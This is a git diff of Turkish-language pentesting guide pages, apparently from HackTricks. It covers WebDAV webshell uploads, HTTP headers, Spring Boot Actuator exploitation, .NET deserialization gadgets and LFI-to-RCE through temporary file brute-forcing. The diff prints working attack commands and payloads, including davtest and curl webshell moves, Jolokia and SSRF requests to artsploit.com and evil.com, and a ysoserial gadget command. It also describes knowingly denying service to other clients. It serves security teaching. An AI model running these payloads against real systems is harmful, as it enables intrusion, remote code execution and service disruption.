a/src/network-services-pentesting/pentesting-web/put-method-webdav.md b/src/network-services-pentesting/pentesting-web/put-method-webdav.md index 57b77e0d0..c60c28e05 100644 --- a/src/network-services-pentesting/pentesting-web/put-method-webdav.md +++ b/src/network-services-pentesting/pentesting-web/put-method-webdav.md @@ -2,7 +2,7 @@ {{#include ../../banners/hacktricks-training.md}} -**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle bir **webshell yükleme ve çalıştırma** işlemini içerir. +**WebDav** etkin bir **HTTP Sunucusu** ile çalışırken, doğru **kimlik bilgilerine** sahip olduğunuzda **dosyaları manipüle etmek** mümkündür; bu genellikle **HTTP Temel Kimlik Doğrulaması** ile doğrulanır. Böyle bir sunucu üzerinde kontrol sağlamak genellikle **bir webshell'in yüklenmesi ve çalıştırılmasını** içerir. WebDav sunucusuna erişim genellikle **geçerli kimlik bilgileri** gerektirir; [**WebDav bruteforce**](../../generic-hacking/brute-force.md#http-basic-auth) bunları elde etmenin yaygın bir yöntemidir. @@ -14,7 +14,7 @@ Dosya yükleme kısıtlamalarını aşmak için, özellikle sunucu tarafı betik ## DavTest -**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını kontrol eder:** +**Davtest**, **farklı uzantılara sahip birkaç dosya yüklemeyi** dener ve uzantının **çalıştırılıp çalıştırılmadığını** **kontrol eder**: ```bash davtest [-auth user:password] -move -sendbd auto -url http:// #Uplaod .txt files and try to move it to other extensions davtest [-auth user:password] -sendbd auto -url http:// #Try to upload every extension @@ -25,7 +25,7 @@ Bu, **.txt** ve **.html uzantılarının çalıştırıldığı** anlamına gelm ## Cadaver -Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel olarak** gerçekleştirmek için kullanabilirsiniz. +Bu aracı **WebDav** sunucusuna bağlanmak ve işlemleri (örneğin **yükleme**, **taşıma** veya **silme**) **manuel** olarak gerçekleştirmek için kullanabilirsiniz. ``` cadaver ``` @@ -39,7 +39,7 @@ curl -X MOVE --header 'Destination:http://$ip/shell.php' 'http://$ip/shell.txt' ``` ## IIS5/6 WebDav Açığı -Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bu durumu **aşabilirsiniz** ve dosya, bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de **kullanabilirsiniz** ama **";"yı unutmayın**). +Bu açık çok ilginç. **WebDav**, **.asp** uzantılı dosyaların **yüklenmesine** veya **yeniden adlandırılmasına** **izin vermez**. Ancak, ismin sonuna **";.txt"** ekleyerek bunu **bypass** edebilirsiniz ve dosya, sanki bir .asp dosyasıymış gibi **çalıştırılacaktır** (aynı zamanda **".txt" yerine ".html"** de kullanabilirsiniz ama **";"yı unutmayın**). Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir ".asp;.txt" dosyasına **kopyalayabilir/hareket ettirebilirsiniz**. Web sunucusu üzerinden o dosyaya eriştiğinizde, **çalıştırılacaktır** (cadaver, taşıma işleminin çalışmadığını söyleyecektir, ama çalıştı). @@ -48,7 +48,7 @@ Sonra, shell'inizi bir ".**txt" dosyası** olarak **yükleyebilir** ve onu bir " ## Post kimlik bilgileri Eğer Webdav bir Apache sunucusu kullanıyorsa, Apache'de yapılandırılmış sitelere bakmalısınız. Genellikle:\ -\_**/etc/apache2/sites-enabled/000-default**_ +_**/etc/apache2/sites-enabled/000-default**_ İçinde şöyle bir şey bulabilirsiniz: ``` @@ -65,7 +65,7 @@ Gördüğünüz gibi, **webdav** sunucusu için geçerli **credentials** içeren ``` /etc/apache2/users.password ``` -Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'ini bulacaksınız. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir. +Bu tür dosyaların içinde **kullanıcı adı** ve şifrenin bir **hash**'i bulunur. Bunlar, webdav sunucusunun kullanıcıları kimlik doğrulamak için kullandığı kimlik bilgileridir. Onları **kırmayı** deneyebilir veya bir nedenle **webdav** sunucusuna **erişmek** istiyorsanız **daha fazla** ekleyebilirsiniz: ```bash diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index 3d8de18ec..97efbc325 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -56,10 +56,10 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük **Sunucu Önbellek Başlıkları**: -- **`X-Cache`** yanıt içinde, isteğin önbelleğe alınmadığı zaman **`miss`** ve önbelleğe alındığı zaman **`hit`** değerine sahip olabilir +- **`X-Cache`** yanıtında, istek önbelleğe alınmadığında **`miss`** değeri ve önbelleğe alındığında **`hit`** değeri olabilir - **`Cf-Cache-Status`** başlığında benzer bir davranış - **`Cache-Control`** bir kaynağın önbelleğe alınıp alınmadığını ve bir sonraki önbelleğe alma zamanını belirtir: `Cache-Control: public, max-age=1800` -- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıklerin** önbellek anahtarının bir parçası olarak muamele edildiğini **belirtmek için** kullanılır. +- **`Vary`** genellikle yanıt içinde, normalde anahtarlanmayan **ek başlıkların** önbellek anahtarının bir parçası olarak ele alındığını **belirtmek için** kullanılır. - **`Age`** nesnenin proxy önbelleğinde kaç saniye kaldığını tanımlar. - **`Server-Timing: cdn-cache; desc=HIT`** ayrıca bir kaynağın önbelleğe alındığını belirtir @@ -76,30 +76,30 @@ Bir hop-by-hop başlığı, isteği işleyen proxy tarafından işlenmek ve tük ## Koşullu İstekler -- Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`** yalnızca yanıt başlığı\*\*`Last-Modified`\*\* farklı bir zaman içeriyorsa veri ile yanıtlanır. -- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun veri (Etag) değiştiğinde yanıt içeriğini göndermesini sağlamak için bir Etag değeri kullanır. `Etag`, HTTP yanıtından alınır. +- Bu başlıkları kullanan istekler: **`If-Modified-Since`** ve **`If-Unmodified-Since`** yalnızca yanıt başlığı **`Last-Modified`** farklı bir zaman içeriyorsa veri ile yanıtlanır. +- **`If-Match`** ve **`If-None-Match`** kullanan koşullu istekler, web sunucusunun yanıt içeriğini göndermesi için bir Etag değeri kullanır, eğer veri (Etag) değiştiyse. `Etag`, HTTP yanıtından alınır. - **Etag** değeri genellikle yanıtın **içeriğine** dayalı olarak **hesaplanır**. Örneğin, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` ifadesi, `Etag`'ın **37 bayt**'ın **Sha1**'ı olduğunu gösterir. ## Aralık İstekleri - **`Accept-Ranges`**: Sunucunun aralık isteklerini destekleyip desteklemediğini ve destekliyorsa aralığın hangi birimde ifade edilebileceğini belirtir. `Accept-Ranges: ` -- **`Range`**: Sunucunun döndürmesi gereken bir belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın. +- **`Range`**: Sunucunun döndürmesi gereken belgenin kısmını belirtir. Örneğin, `Range:80-100` orijinal yanıtın 80 ile 100 arasındaki baytlarını 206 Partial Content durum kodu ile döndürecektir. Ayrıca istekte `Accept-Encoding` başlığını kaldırmayı unutmayın. - Bu, aksi takdirde kaçırılabilecek rastgele yansıtılmış javascript kodu ile bir yanıt almak için yararlı olabilir. Ancak bunu kötüye kullanmak için bu başlıkları isteğe enjekte etmeniz gerekir. -- **`If-Range`**: Verilen etag veya tarih uzaktan kaynakla eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Kaynağın uyumsuz sürümlerinden iki aralığın indirilmesini önlemek için kullanılır. -- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nereye ait olduğunu belirtir. +- **`If-Range`**: Verilen etag veya tarih eşleşirse yalnızca yerine getirilen koşullu bir aralık isteği oluşturur. Uyumlu olmayan kaynak sürümlerinden iki aralığın indirilmesini önlemek için kullanılır. +- **`Content-Range`**: Tam bir gövde mesajında bir kısmi mesajın nerede yer aldığını belirtir. ## Mesaj gövdesi bilgileri - **`Content-Length`:** Kaynağın boyutu, ondalık sayı olarak bayt cinsinden. - **`Content-Type`**: Kaynağın medya türünü belirtir - **`Content-Encoding`**: Sıkıştırma algoritmasını belirtmek için kullanılır. -- **`Content-Language`**: Hedef kitle için tasarlanmış insan dili(leri)ni tanımlar, böylece bir kullanıcının kendi tercih ettiği dile göre ayırt etmesine olanak tanır. +- **`Content-Language`**: Hedef kitle için tasarlanan insan dili(leri)ni tanımlar, böylece kullanıcıların kendi tercih ettikleri dile göre ayırt etmelerine olanak tanır. - **`Content-Location`**: Döndürülen veriler için alternatif bir konumu belirtir. Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401** veya **403** ile **korunuyorsa** ve bu **bilgiyi** **almanın** bir **yolunu** bulursanız, bu **ilginç** olabilir.\ Örneğin, bir HEAD isteğinde **`Range`** ve **`Etag`** kombinasyonu, HEAD istekleri aracılığıyla sayfanın içeriğini sızdırabilir: -- `Range: bytes=20-20` başlığı ile bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır. +- `Range: bytes=20-20` başlığına sahip bir istek ve `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` içeren bir yanıt, 20. baytın SHA1'inin `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` olduğunu sızdırmaktadır. ## Sunucu Bilgisi @@ -113,7 +113,7 @@ Bir pentest açısından bu bilgi genellikle "işe yaramaz", ancak kaynak **401* ## İndirmeler -- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek olarak** (indirilecek) mi görüntülenmesi gerektiğini yönlendirir. Örneğin: +- HTTP yanıtlarındaki **`Content-Disposition`** başlığı, bir dosyanın **inline** (web sayfası içinde) mi yoksa **ek** (indirilmiş) olarak mı görüntülenmesi gerektiğini yönlendirir. Örneğin: ``` Content-Disposition: attachment; filename="filename.jpg" ``` @@ -129,7 +129,7 @@ Bu, "filename.jpg" adlı dosyanın indirilip kaydedilmek üzere tasarlandığı ### **Güvenilir Türler** -CSP aracılığıyla Güvenilir Türlerin zorunlu kılınması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak oluşturulmuş nesnelerin tehlikeli web API çağrılarında kullanılmasını garanti eder, böylece JavaScript kodunu varsayılan olarak güvence altına alır. +CSP aracılığıyla Güvenilir Türlerin zorlanması, uygulamaların DOM XSS saldırılarına karşı korunmasını sağlar. Güvenilir Türler, yalnızca belirli güvenlik politikalarına uygun olarak hazırlanmış nesnelerin tehlikeli web API çağrılarında kullanılmasına izin vererek, JavaScript kodunu varsayılan olarak güvence altına alır. ```javascript // Feature detection if (window.trustedTypes && trustedTypes.createPolicy) { @@ -148,7 +148,7 @@ el.innerHTML = escaped // Results in safe assignment. ``` ### **X-Content-Type-Options** -Bu başlık, XSS güvenlik açıklarına yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar. +Bu başlık, XSS zafiyetlerine yol açabilecek bir uygulama olan MIME türü sniffing'ini engeller. Tarayıcıların sunucu tarafından belirtilen MIME türlerine saygı göstermesini sağlar. ``` X-Content-Type-Options: nosniff ``` diff --git a/src/network-services-pentesting/pentesting-web/spring-actuators.md b/src/network-services-pentesting/pentesting-web/spring-actuators.md index 9de73efd0..7ddc65567 100644 --- a/src/network-services-pentesting/pentesting-web/spring-actuators.md +++ b/src/network-services-pentesting/pentesting-web/spring-actuators.md @@ -6,7 +6,7 @@
-**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png)\*\*\*\* +**From** [**https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png**](https://raw.githubusercontent.com/Mike-n1/tips/main/SpringAuthBypass.png) ## Exploiting Spring Boot Actuators @@ -14,15 +14,15 @@ ### **Key Points:** -- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında, bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır. +- Spring Boot Actuators, `/health`, `/trace`, `/beans`, `/env` gibi uç noktaları kaydeder. 1 ile 1.4 sürümleri arasında, bu uç noktalar kimlik doğrulama olmadan erişilebilir. 1.5 sürümünden itibaren, yalnızca `/health` ve `/info` varsayılan olarak hassas değildir, ancak geliştiriciler genellikle bu güvenliği devre dışı bırakır. - Belirli Actuator uç noktaları hassas verileri açığa çıkarabilir veya zararlı eylemlere izin verebilir: -- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart`, ve `/heapdump`. +- `/dump`, `/trace`, `/logfile`, `/shutdown`, `/mappings`, `/env`, `/actuator/env`, `/restart` ve `/heapdump`. - Spring Boot 1.x'te, aktüatörler kök URL altında kaydedilirken, 2.x'te `/actuator/` temel yolu altındadır. ### **Exploitation Techniques:** 1. **Remote Code Execution via '/jolokia'**: -- `/jolokia` aktüatör uç noktası, MBean'lere HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır. +- `/jolokia` aktüatör uç noktası, MBeans'e HTTP erişimi sağlayan Jolokia Kütüphanesini açığa çıkarır. - `reloadByURL` eylemi, dış bir URL'den günlük yapılandırmalarını yeniden yüklemek için istismar edilebilir; bu, kör XXE veya hazırlanmış XML yapılandırmaları aracılığıyla Uzaktan Kod Yürütme ile sonuçlanabilir. - Örnek istismar URL'si: `http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml`. 2. **Config Modification via '/env'**: @@ -41,7 +41,7 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream ``` 3. **Other Useful Settings**: -- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url`, ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirmek gibi çeşitli istismarlar için manipüle edilebilir. +- `spring.datasource.tomcat.validationQuery`, `spring.datasource.tomcat.url` ve `spring.datasource.tomcat.max-active` gibi özellikler, SQL enjeksiyonu veya veritabanı bağlantı dizelerini değiştirmek gibi çeşitli istismarlar için manipüle edilebilir. ### **Additional Information:** @@ -52,15 +52,13 @@ eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream 1. **Env + H2 RCE**: - `/env` uç noktası ve H2 veritabanının kombinasyonunu istismar etme detayları [burada](https://spaceraccoon.dev/remote-code-execution-in-three-acts-chaining-exposed-actuators-and-h2-database) bulunabilir. -2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: +2. **SSRF on Spring Boot Through Incorrect Pathname Interpretation**: - Spring çerçevesinin HTTP yol adlarındaki matris parametrelerini (`;`) ele alması, Sunucu Tarafı İstek Sahteciliği (SSRF) için istismar edilebilir. - Örnek istismar isteği: - ```http GET ;@evil.com/url HTTP/1.1 Host: target.com Connection: close ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md index 1df885e79..c68e4a18a 100644 --- a/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md +++ b/src/pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md @@ -1,14 +1,14 @@ -# Temel .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper ve Json.Net) +# Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net) {{#include ../../banners/hacktricks-training.md}} -Bu yazı, **ObjectDataProvider gadget'ının nasıl istismar edildiğini** anlamaya ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini** açıklamaya adanmıştır. +Bu gönderi, **ObjectDataProvider gadget'ının nasıl istismar edildiğini anlamaya** ve **Json.Net ve xmlSerializer serileştirme kütüphanelerinin bu gadget ile nasıl kötüye kullanılabileceğini** açıklamaya adanmıştır. ## ObjectDataProvider Gadget -Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur._\ -Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **keyfi bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **keyfi parametreler ayarlamaya** ve ardından **keyfi bir işlevi** çağırmak için **MethodName** kullanmaya olanak tanır.\ -Bu nedenle, keyfi **nesne**, **deserialization** sırasında **parametrelerle bir işlevi** **çalıştıracaktır.** +Belgelerden: _ObjectDataProvider Sınıfı, bir bağlama kaynağı olarak kullanabileceğiniz bir nesneyi sarar ve oluşturur_.\ +Evet, bu garip bir açıklama, o yüzden bu sınıfın ne kadar ilginç olduğunu görelim: Bu sınıf, **rastgele bir nesneyi sarmaya** izin verir, _**MethodParameters**_ kullanarak **rastgele parametreler ayarlamaya** ve ardından **MethodName kullanarak rastgele bir işlevi** çağırmaya olanak tanır.\ +Bu nedenle, rastgele **nesne**, **serileştirilirken** **parametrelerle bir işlevi** **çalıştıracaktır.** ### **Bu nasıl mümkün** @@ -18,11 +18,11 @@ Bu nedenle, keyfi **nesne**, **deserialization** sırasında **parametrelerle bi ![](<../../images/image (427).png>) -Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, şimdi bunun ne yaptığını görelim: +Gördüğünüz gibi `MethodName` ayarlandığında `base.Refresh()` çağrılıyor, ne yaptığını görelim: ![](<../../images/image (319).png>) -Tamam, şimdi `this.BeginQuery()`'nin ne yaptığını görelim. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı: +Tamam, şimdi `this.BeginQuery()` ne yapıyor ona bakalım. `BeginQuery`, `ObjectDataProvider` tarafından geçersiz kılınmıştır ve işte yaptığı: ![](<../../images/image (345).png>) @@ -30,9 +30,9 @@ Kodun sonunda `this.QueryWorke(null)` çağrıldığını not edin. Bunun neyi ![](<../../images/image (596).png>) -Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metod setinin çağrıldığı** satırdır. +Bu, `QueryWorker` fonksiyonunun tam kodu değil, ancak ilginç kısmını gösteriyor: Kod **`this.InvokeMethodOnInstance(out ex);`** çağrısını yapıyor, bu, **metodun ayarlandığı yer**. -Sadece _**MethodName**_ ayarlayarak bunun **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz: +Sadece _**MethodName**_ ayarlayarak **çalıştırılacağını** kontrol etmek istiyorsanız, bu kodu çalıştırabilirsiniz: ```java using System.Windows.Data; using System.Diagnostics; @@ -58,8 +58,8 @@ Not edin ki `System.Windows.Data` yüklemek için _C:\Windows\Microsoft.NET\Fram Önceki istismarı kullanarak, **nesne** bir _**ObjectDataProvider**_ örneği olarak **deseralize edileceği** durumlar olacaktır (örneğin, DotNetNuke zafiyetinde, XmlSerializer kullanarak, nesne `GetType` ile deseralize edildi). Bu durumda, _ObjectDataProvider_ örneğinde sarılı olan nesne türü hakkında **hiçbir bilgiye sahip olmayacağız** (`Process` gibi). DotNetNuke zafiyeti hakkında daha fazla [bilgi burada](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1) bulabilirsiniz. -Bu sınıf, belirli bir örnekte kapsüllenmiş nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\ -Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_\*\*'ı bir \*\*_**ExpandedWrapper** \_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**. +Bu sınıf, belirli bir örnekte kapsüllenmiş olan nesnelerin nesne türlerini **belirlemeye** olanak tanır. Bu nedenle, bu sınıf bir kaynak nesneyi (_ObjectDataProvider_) yeni bir nesne türüne kapsüllemek ve ihtiyaç duyduğumuz özellikleri sağlamak için kullanılabilir (_ObjectDataProvider.MethodName_ ve _ObjectDataProvider.MethodParameters_).\ +Bu, daha önce sunulan durumlar için çok faydalıdır, çünkü **_ObjectDataProvider**_ nesnesini bir **_**ExpandedWrapper**_ örneği içinde **sarmalayabileceğiz** ve **deseralize edildiğinde** bu sınıf, _**MethodName**_'de belirtilen **fonksiyonu** **çalıştıracak** _**OjectDataProvider**_ nesnesini **oluşturacaktır**. Bu sarmalayıcıyı aşağıdaki kod ile kontrol edebilirsiniz: ```java @@ -85,7 +85,7 @@ myExpWrap.ProjectedProperty0.MethodName = "Start"; ``` ## Json.Net -[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye izin verdiği** belirtilmiştir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, sadece bir nesneyi serileştirerek **RCE**'ye neden olabiliriz. +[Resmi web sayfasında](https://www.newtonsoft.com/json) bu kütüphanenin **Json.NET'in güçlü JSON serileştiricisi ile herhangi bir .NET nesnesini serileştirmeye ve serileştirmeye** izin verdiği belirtilmektedir. Yani, eğer **ObjectDataProvider gadget'ını serileştirebilirsek**, bir nesneyi sadece serileştirerek **RCE**'ye neden olabiliriz. ### Json.Net örneği @@ -134,7 +134,7 @@ Console.WriteLine(desaccount.Email); ``` ### Json.Net'i Kötüye Kullanma -[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak istismarı oluşturdum: +[ysoserial.net](https://github.com/pwntester/ysoserial.net) kullanarak bir istismar oluşturdum: ```java ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe" { diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md index dbd44e6f2..f07b35a0d 100644 --- a/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md +++ b/src/pentesting-web/file-inclusion/lfi2rce-via-eternal-waiting.md @@ -1,10 +1,10 @@ -# LFI2RCE Sonsuz Bekleme ile +# LFI2RCE via Eternal waiting {{#include ../../banners/hacktricks-training.md}} ## Temel Bilgiler -Varsayılan olarak, bir dosya PHP'ye yüklendiğinde (beklemese bile), **`php[a-zA-Z0-9]{6}`** gibi bir isimle `/tmp` dizininde geçici bir dosya oluşturur, ancak bazı docker imajlarında oluşturulan dosyaların rakam içermediğini gördüm. +Varsayılan olarak, bir dosya PHP'ye yüklendiğinde (beklemese bile), `/tmp` dizininde **`php[a-zA-Z0-9]{6}`** gibi bir isimle geçici bir dosya oluşturur, ancak bazı docker imajlarında oluşturulan dosyaların rakam içermediğini gördüm. Yerel dosya dahil etmede, **eğer o yüklenen dosyayı dahil etmeyi başarırsanız, RCE elde edersiniz**. @@ -22,68 +22,68 @@ Bu teknik, **sıfır gün bulmaya gerek kalmadan** sonuncusuna **çok benzer**. ### Sonsuz bekleme tekniği -Bu teknikte **sadece bir göreli yolu kontrol etmemiz gerekiyor**. Dosyaları yüklemeyi başarabilir ve **LFI'nin asla bitmemesini** sağlayabilirsek, **yüklenen dosyaları brute-force** yapacak ve **yüklenenlerden herhangi birini bulmak için "yeterince zaman"** elde edeceğiz. +Bu teknikte **sadece bir göreli yolu kontrol etmemiz gerekiyor**. Dosyaları yüklemeyi başarabilir ve **LFI'nin asla bitmemesini** sağlayabilirsek, **yüklenen dosyaları brute-force** yapacak "yeterli zaman"ımız olacak ve **yüklenenlerden herhangi birini bulabileceğiz**. **Bu tekniğin avantajları**: -- Sadece bir include içinde bir göreli yolu kontrol etmeniz gerekiyor -- Nginx veya log dosyalarına erişim için beklenmedik bir seviyeye ihtiyaç duymaz -- Segmentasyon hatası oluşturmak için bir 0 güne ihtiyaç duymaz -- Yol ifşası gerektirmez +- Sadece bir include içinde göreli bir yolu kontrol etmeniz gerekiyor +- Nginx veya log dosyalarına beklenmedik bir erişim seviyesi gerektirmiyor +- Segmentasyon hatası oluşturmak için bir 0 gün gerektirmiyor +- Yol ifşası gerektirmiyor Bu tekniğin **ana sorunları** şunlardır: -- Belirli bir dosya(lar)ın mevcut olmasını gerektirir (daha fazlası olabilir) +- Belirli bir dosyanın (veya dosyaların) mevcut olmasını gerektirir (daha fazlası olabilir) - **Çılgın** miktarda potansiyel dosya adı: **56800235584** - Sunucu **rakam kullanmıyorsa** toplam potansiyel miktar: **19770609664** - Varsayılan olarak **tek bir istekte yalnızca 20 dosya** yüklenebilir. - Kullanılan sunucunun **maksimum paralel işçi sayısı**. -- Bu limit, önceki limitlerle birlikte bu saldırının çok uzun sürmesine neden olabilir +- Bu limitler, bu saldırının çok uzun sürmesine neden olabilir - **PHP isteği için zaman aşımı**. İdeal olarak bu sonsuz olmalı veya geçici yüklenen dosyaları silmeden PHP sürecini öldürmelidir, aksi takdirde bu da bir sorun olacaktır -Peki, **PHP include'ını asla nasıl bitirebilirsiniz**? Sadece dosyayı **`/sys/kernel/security/apparmor/revision`** dahil ederek (**maalesef Docker konteynerlerinde mevcut değil...**). +Peki, **PHP include'ını asla nasıl bitirebilirsiniz**? Sadece dosyayı **`/sys/kernel/security/apparmor/revision`** ekleyerek (**maalesef Docker konteynerlerinde mevcut değil...**). -Bunu sadece arayarak deneyin: +Bunu sadece çağırarak deneyin: ```bash php -a # open php cli include("/sys/kernel/security/apparmor/revision"); ``` ## Apache2 -Varsayılan olarak, Apache **150 eşzamanlı bağlantı** destekler, [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) bağlantısına göre bu sayı **8000**'e kadar yükseltilebilir. Bu modül ile PHP kullanmak için şunu takip edin: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04). +Varsayılan olarak, Apache **150 eşzamanlı bağlantı** destekler, [https://ubiq.co/tech-blog/increase-max-connections-apache/](https://ubiq.co/tech-blog/increase-max-connections-apache/) adresine göre bu sayı **8000**'e kadar yükseltilebilir. Bu modül ile PHP kullanmak için şunu takip edin: [https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04](https://www.digitalocean.com/community/tutorials/how-to-configure-apache-http-with-mpm-event-and-php-fpm-on-ubuntu-18-04). Varsayılan olarak, (testlerimde gördüğüm kadarıyla), bir **PHP süreci sonsuza kadar sürebilir**. Hesap yapalım: - **149 bağlantı** kullanarak **149 \* 20 = 2980 geçici dosya** oluşturabiliriz. -- Sonra, **son bağlantıyı** potansiyel dosyaları **brute-force** yapmak için kullanın. +- Sonra, **son bağlantıyı** potansiyel dosyaları **brute-force** için kullanın. - **10 istek/s** hızında süreler: - 56800235584 / 2980 / 10 / 3600 \~= **530 saat** (265 saatte %50 şans) - (rakam olmadan) 19770609664 / 2980 / 10 / 3600 \~= 185saat (93 saatte %50 şans) > [!WARNING] -> Önceki örnekte **diğer istemcileri tamamen DoS'liyoruz**! +> Önceki örnekte **diğer istemcileri tamamen DoS'ladığımızı** unutmayın! Eğer Apache sunucusu geliştirilirse ve **4000 bağlantı** kötüye kullanılabilirse (maksimum sayıya yarı yol). `3999*20 = 79980` **dosya** oluşturabiliriz ve **sayı** yaklaşık **19.7saat** veya **6.9saat** (10saat, 3.5saat %50 şans) olarak **azalır**. ## PHP-FMP -Eğer Apache için PHP betiklerini çalıştırmak için normal php modunu kullanmak yerine **web sayfası** **PHP-FMP** kullanıyorsa (bu, web sayfasının verimliliğini artırır, bu yüzden sıkça bulunur), tekniği geliştirmek için başka bir şey yapılabilir. +Eğer PHP betiklerini çalıştırmak için Apache için normal php modunu kullanmak yerine **web sayfası** **PHP-FMP** kullanıyorsa (bu, web sayfasının verimliliğini artırır, bu 